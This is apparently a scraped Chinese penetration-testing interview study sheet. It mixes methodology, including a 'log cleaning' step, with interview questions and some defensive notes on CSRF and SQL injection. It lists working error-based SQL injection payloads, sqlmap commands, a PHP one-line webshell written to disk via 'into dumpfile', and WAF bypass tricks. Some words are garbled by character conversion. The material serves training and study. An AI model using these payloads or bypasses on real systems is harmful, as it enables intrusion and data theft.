渗透测试面试基础--02

给你一个网站你是如何来渗透测试的?
在获取书面受权的前提下。
1)信息收集,
1,获取域名的whois信息,获取注册者邮箱姓名电话等。
2,查询服务器旁站以及子域名站点,由于主站通常比较难,因此先看看旁站有没有通用性的cms或者其余漏洞。
3,查看服务器操做系统版本,web中间件,看看是否存在已知的漏洞,好比IIS,APACHE,NGINX的解析漏洞
4,查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,好比 rsync,心脏出血,mysql,ftp,ssh弱口令等。
5,扫描网站目录结构,看看是否能够遍历目录,或者敏感文件泄漏,好比php探针
6,google hack 进一步探测网站的信息,后台,敏感文件
2)漏洞扫描
开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,
远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等
3)漏洞利用
利用以上的方式拿到webshell,或者其余权限
4)权限提高
提权服务器,好比windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,
linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权
5) 日志清理
6)总结报告及修复方案
sqlmap,怎么对一个注入点注入?
1)若是是get型号,直接,sqlmap -u "诸如点网址".
2) 若是是post型诸如点,能够sqlmap -u "注入点网址” --data="post的参数"
3)若是是cookie,X-Forwarded-For等,能够访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,而后sqlmap -r "文件地址"
nmap,扫描的几种方式
sql注入的几种类型?
1)报错注入
2)bool型注入
3)延时注入
4)宽字节注入
报错注入的函数有哪些?
1)and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】----------------
2)经过floor报错 向下取整
3)+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4).geometrycollection()select from test where id=1 and geometrycollection((select from(select from(select user())a)b));

5).multipoint()select from test where id=1 and multipoint((select from(select from(select user())a)b));
6).polygon()select from test where id=1 and polygon((select from(select from(select user())a)b));

7).multipolygon()select from test where id=1 and multipolygon((select from(select from(select user())a)b));
8).linestring()select from test where id=1 and linestring((select from(select from(select user())a)b));

9).multilinestring()select from test where id=1 and multilinestring((select from(select from(select user())a)b));
10).exp()select from test where id=1 and exp(~(select * from(select user())a));

延时注入如何来判断?
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
盲注和延时注入的共同点?
都是一个字符一个字符的判断
如何拿一个网站的webshell?
上传,后台编辑模板,sql注入写文件,命令执行,代码执行,
一些已经爆出的cms漏洞,好比dedecms后台能够直接创建脚本文件,wordpress上传插件包含脚本文件zip压缩包等
sql注入写文件都有哪些函数?
select '一句话' into outfile '路径'
select '一句话' into dumpfile '路径'
select '<?php eval($_POST[1]) ?>' into dumpfile 'd:\wwwroot\baidu.com\nvhack.php';
如何防止CSRF?
1,验证referer
2,验证token
owasp 漏洞都有哪些?
一、SQL注入防御方法:
二、失效的身份认证和会话管理
三、跨站脚本攻击XSS
四、直接引用不安全的对象
五、安全配置错误
六、敏感信息泄露
七、缺乏功能级的访问控制
八、跨站请求伪造CSRF
九、使用含有已知漏洞的组件
十、未验证的重定向和转发
SQL注入防御方法?
一、使用安全的API
二、对输入的特殊字符进行Escape转义处理
三、使用白名单来规范化输入验证方法
四、对客户端输入进行控制,不容许输入SQL注入相关的特殊字符
五、服务器端在提交数据库进行SQL查询以前,对特殊字符进行过滤、转义、替换、删除。
代码执行,文件读取,命令执行的函数都有哪些?
1,代码执行:eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
img标签除了onerror属性外,还有其余获取管理员路径的办法吗?
src指定一个远程的脚本文件,获取referer
img标签除了onerror属性外,而且src属性的后缀名,必须以.jpg结尾,怎么获取管理员路径。php

 

代码审计
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_functionhtml

文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等java

命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()mysql

绕过walflinux

一、关键字能够用%(只限IIS系列)。好比select,能够sel%e%ct。原理:网络层waf对SEL%E%CT进行url解码后变成SEL%E%CT,匹配select失败,而进入asp.dll对SEL%E%CT进行url解码却变成select。IIS下的asp.dll文件在对asp文件后参数串进行url解码时,会直接过滤掉09-0d(09是tab键,0d是回车)、20(空格)、%(后两个字符有一个不是十六进制)字符。xss也是同理。web

二、通杀的,内联注释。安全狗不拦截,可是安全宝、加速乐、D盾等,看到/!/就Fack了,因此只限于安全狗。好比:/!select*/面试

三、编码。这个方法对waf颇有效果,由于通常waf会解码,可是咱们利用这个特色,进行两次编码,他解了第一次但不会解第二次,就bypass了。腾讯waf、百度waf等等均可以这样bypass的。sql

4,绕过策略一:伪造搜索引擎chrome

早些版本的安全狗是有这个漏洞的,就是把User-Agent修改成搜索引擎shell

5,360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,若是是则不作拦截

GET /pen/news.php?id=1 union select user,password from mysql.user

GET /pen/news.php/admin?id=1 union select user,password from mysql.user

  1. GET /pen/admin/..\news.php?id=1 union select user,password from mysql.user

6,multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF。

7,参数绕过,复制参数,id=1&id=1

用一些特殊字符代替空格,好比在mysql中%0a是换行,能够代替空格,这个方法也能够部分绕过最新版本的安全狗,在sqlserver中能够用/**/代替空格

8,内联注释,

文件上传,复制文件包一份再加一份

在 form-data;后面增长必定的字符
宽字符注入

宽字符:解 决方法:就是在初始化链接和字符集以后,使用SET character_set_client=binary来设定客户端的字符集是二进制的。修改Windows下的MySQL配置文件通常是 my.ini,Linux下的MySQL配置文件通常是my.cnf,好比:mysql_query("SETcharacter_set_client=binary");。character_set_client指定的是SQL语句的编码,若是设置为 binary,MySQL就以二进制来执行,这样宽字节编码问题就没有用武之地了。

 

 

Domain

解释一下同源策略

同源策略,那些东西是同源能够获取到的

若是子域名和顶级域名不一样源,在哪里能够设置叫他们同源

如何设置能够跨域请求数据?jsonp是作什么的?

Ajax

Ajax是否遵循同源策略?

json注入如何利用

浏览器策略

不一样浏览器之间,安全策略有哪些不一样,好比chrome,firefox,IE

CSP是什么?如何设置CSP?

SQLi

如何判断sql注入,有哪些方法

为何有的时候没有错误回显,用php举例

宽字符注入的原理?如何利用宽字符注入漏洞,payload如何构造?

你都了解哪些sql 的bypass技巧

CRLF注入的原理

XSS

xss的发生场景?

若是给你一个XSS漏洞,你还须要哪些条件能够构造一个蠕虫?

在社交类的网站中,哪些地方可能会出现蠕虫?

若是叫你来防护蠕虫,你有哪些方法?

若是给你一个XSS盲打漏洞,可是返回来的信息显示,他的后台是在内网,而且只能使用内网访问,那么你怎么利用这个XSS?

PHP

php里面有哪些方法能够不让错误回显?

php.ini能够设置哪些安全特性

php的%00截断的原理是什么?

webshell检测,有哪些方法

php的LFI,本地包含漏洞原理是什么?写一段带有漏洞的代码。手工的话如何发掘?若是无报错回显,你是怎么遍历文件的?

CSRF

CSRF漏洞的本质是什么?

防护CSRF都有哪些方法,JAVA是如何防护CSRF漏洞的,token必定有用么?

HTML5

说说HTML5有哪些新的安全特性

HTML5白名单要有哪些标签

java

你都了解哪些java框架?

java的MVC结构都是作什么的,数据流向数据库的顺序是什么?

了解java沙箱吗?

ibats的参数化查询能不能有效的控制sql注入?有没有危险的方法能够形成sql注入?

说说两次struts2漏洞的原理

ongl在这个payload中起了什么做用?

\u0023是什么字符的16进制编码?为何在payload中要用他?

java会不会发生执行系统命令的漏洞?java都有哪些语句,方法能够执行系统命令

若是叫你修复一个xss漏洞,你会在java程序的那个层里面进行修复?

xss filter在java程序的哪里设置?

说下java的类反射在安全上可能存在哪些问题

中间件

tomcat要作哪些安全加固?

若是tomcat重启的话,webapps下,你删除的后台会不会又回来?

数据库

mysql数据库默认有哪些库?说出库的名字

mysql的用户名密码是存放在那张表里面?mysql密码采用哪一种加密方式?

mysql表权限里面,除了增删改查,文件读写,还有哪些权限?

mysql安全要如何作?

sqlserver public权限要如何提权

Linux

简述Linux系统安全加固须要作哪些方面

你使用什么工具来判断系统是否存在后门

Linux的Selinux是什么?如何设置Selinux?

iptables工做在TCPIP模型中的哪层?

若是没法升级内核,那么如何保证系统不被已知的exp提权?

syslog里面都有哪些日志?安装软件的日志去哪找?

如何查询ssh的登陆日志?如何配置syslog的日志格式?

syslog可不可使用vi等工具直接查看?是二进制文件吗?

信息采集

踩点都要采集哪些信息?

DNS在渗透中的做用

根据回忆总结的,有的问题可能描述的有些问题。安全的体系很大哦,冰山一角而已。

相关文章
相关标签/搜索